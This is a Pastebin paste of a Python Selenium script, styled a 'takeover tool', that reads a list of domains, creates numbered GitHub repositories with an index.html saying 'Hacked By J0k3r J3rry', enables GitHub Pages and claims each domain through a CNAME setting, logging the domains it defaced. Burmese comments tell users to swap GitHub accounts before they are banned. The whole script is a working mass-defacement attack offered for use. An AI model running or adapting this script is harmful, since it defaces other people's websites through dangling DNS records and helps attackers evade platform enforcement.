Advertisement
beginnerghost

ght script

Apr 27th, 2019
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.94 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import time
  4. import os
  5. import sys
  6. from pyvirtualdisplay import Display
  7. from selenium import webdriver
  8. from time import sleep
  9. from selenium.webdriver.common.by import By
  10. from selenium.common.exceptions import NoSuchElementException
  11. ###################################################################
  12. # Logo
  13. print '''\n
  14. ______ __ __ ______
  15. /\ ___\ /\ \_\ \ /\__ _\
  16. \ \ \__ \ \ \ __ \ \/_/\ \/
  17. \ \_____\ \ \_\ \_\ \ \_\
  18. \/_____/ \/_/\/_/ \/_/
  19. J0k3r J3rry { GHT } - takeover tool
  20. '''
  21. ### https://github.com/MrMinYan/ ဆိုတဲ့ ေနရာမွာ ကိုယ့္ github acc link ထည့္ပါ
  22.  
  23. try:
  24. import dill as cPickle
  25. except ImportError:
  26. import pickle
  27. driver = webdriver.Firefox()
  28. sites = "sites.txt" # domain ေတြ စုထည့္ထားတဲ့ file name ျပင္ပါ။
  29. defacecode = '<center>Hacked By J0k3r J3rry' # ကိုယ့္ရဲ့ deface code အစားထည့္ပါ
  30. try:
  31. driver.get('http://github.com/login')
  32. exists = os.path.isfile('cookies.pkl')
  33. if exists:
  34. cookies = pickle.load(open("cookies.pkl", "rb"))
  35. for cookie in cookies:
  36. driver.add_cookie(cookie)
  37. else:
  38. print "cookies not exits"
  39. reponame = 1000 # reponame ကို 1000 ေပးျပီး တစ္ခုခ်င္းစီကို +1 တိုးတိုးေပးသြားတာပါ။တစ္ခုရွိတာက github acc ေတြ ဘမ္းခံရနိုင္ပါတယ္ / reponame 1100 ျပည့္တိုင္း github acc change ပါ
  40. def addnewrepo():
  41. driver.get('https://github.com/new')
  42. time.sleep(1)
  43. repoadd = driver.find_element_by_id("repository_name").send_keys(reponame)
  44. initclick = driver.find_element_by_id("repository_auto_init").click()
  45. buttonclick = driver.find_element_by_css_selector(".btn.btn-primary.first-in-line")
  46. time.sleep(2)
  47. buttonclick.click()
  48. time.sleep(2)
  49. def addindexfile():
  50. #driver.get('https://github.com/MrMinYan/'+str(reponame))
  51. #buttonnewfileclick = driver.find_element_by_css_selector(".btn.btn-sm.BtnGroup-item")
  52. time.sleep(2)
  53. #buttonnewfileclick.click()
  54. driver.get('https://github.com/MrMinYan/'+str(reponame)+'/new/master')
  55. newfilename = driver.find_element_by_name("filename").send_keys("index.html")
  56. filetext = driver.find_element_by_class_name('CodeMirror-code').send_keys(defacecode)
  57. newfile = driver.find_element_by_id("submit-file").click()
  58. time.sleep(1)
  59. def settingdef():
  60. driver.get('https://github.com/MrMinYan/'+str(reponame)+'/settings')
  61. time.sleep(1)
  62. driver.find_element_by_class_name('pr-1').click()
  63. time.sleep(1)
  64. selectmenu = driver.find_element_by_xpath("//button[@type='submit' and @value='master']").click()
  65. def checkcnmfile():
  66. driver.get('https://github.com/MrMinYan/'+str(reponame)+'/edit/master/CNAME')
  67. driver.find_element_by_class_name('CodeMirror-code').clear()
  68. time.sleep(2)
  69. driver.find_element_by_class_name('CodeMirror-code').send_keys(domain)
  70. time.sleep(1)
  71. newfile = driver.find_element_by_id("submit-file").click()
  72. time.sleep(1)
  73. driver.get('https://github.com/MrMinYan/'+str(reponame)+'/blob/master/CNAME')
  74. def checkcnm():
  75. global reponame
  76. driver.get('https://github.com/MrMinYan/'+str(reponame)+'/settings')
  77. time.sleep(1)
  78. driver.find_element_by_name("cname").send_keys(domain)
  79. time.sleep(1)
  80. driver.find_element_by_css_selector(".btn.js-pages-cname-save-btn").click()
  81. time.sleep(1)
  82. errortext = driver.find_element_by_id('js-flash-container')
  83. errortext = errortext.text
  84. #print errortext
  85. if "saved." not in errortext:
  86. print "not success - "+domain
  87. else:
  88. checkcnmfile()
  89. print "defaced - "+domain
  90. fsuccess= open("success.txt","a+") #save မဲ့ filename change ပါ
  91. fsuccess.write( str(reponame) + domain + " : " )
  92. fsuccess.close()
  93. reponame = reponame + 1
  94. print reponame
  95. addnewrepo()
  96. time.sleep(1)
  97. addindexfile()
  98. settingdef()
  99. #checkcnm()
  100. raw_input("Login and continue....")
  101. addnewrepo()
  102. time.sleep(1)
  103. addindexfile()
  104. settingdef()
  105. with open( sites , 'r') as f:
  106. for domain in f:
  107. checkcnm()
  108. pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
  109. driver.quit()
  110. except KeyboardInterrupt:
  111. print '\r[!] Good Bye J3rry'
  112. pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
  113. driver.quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement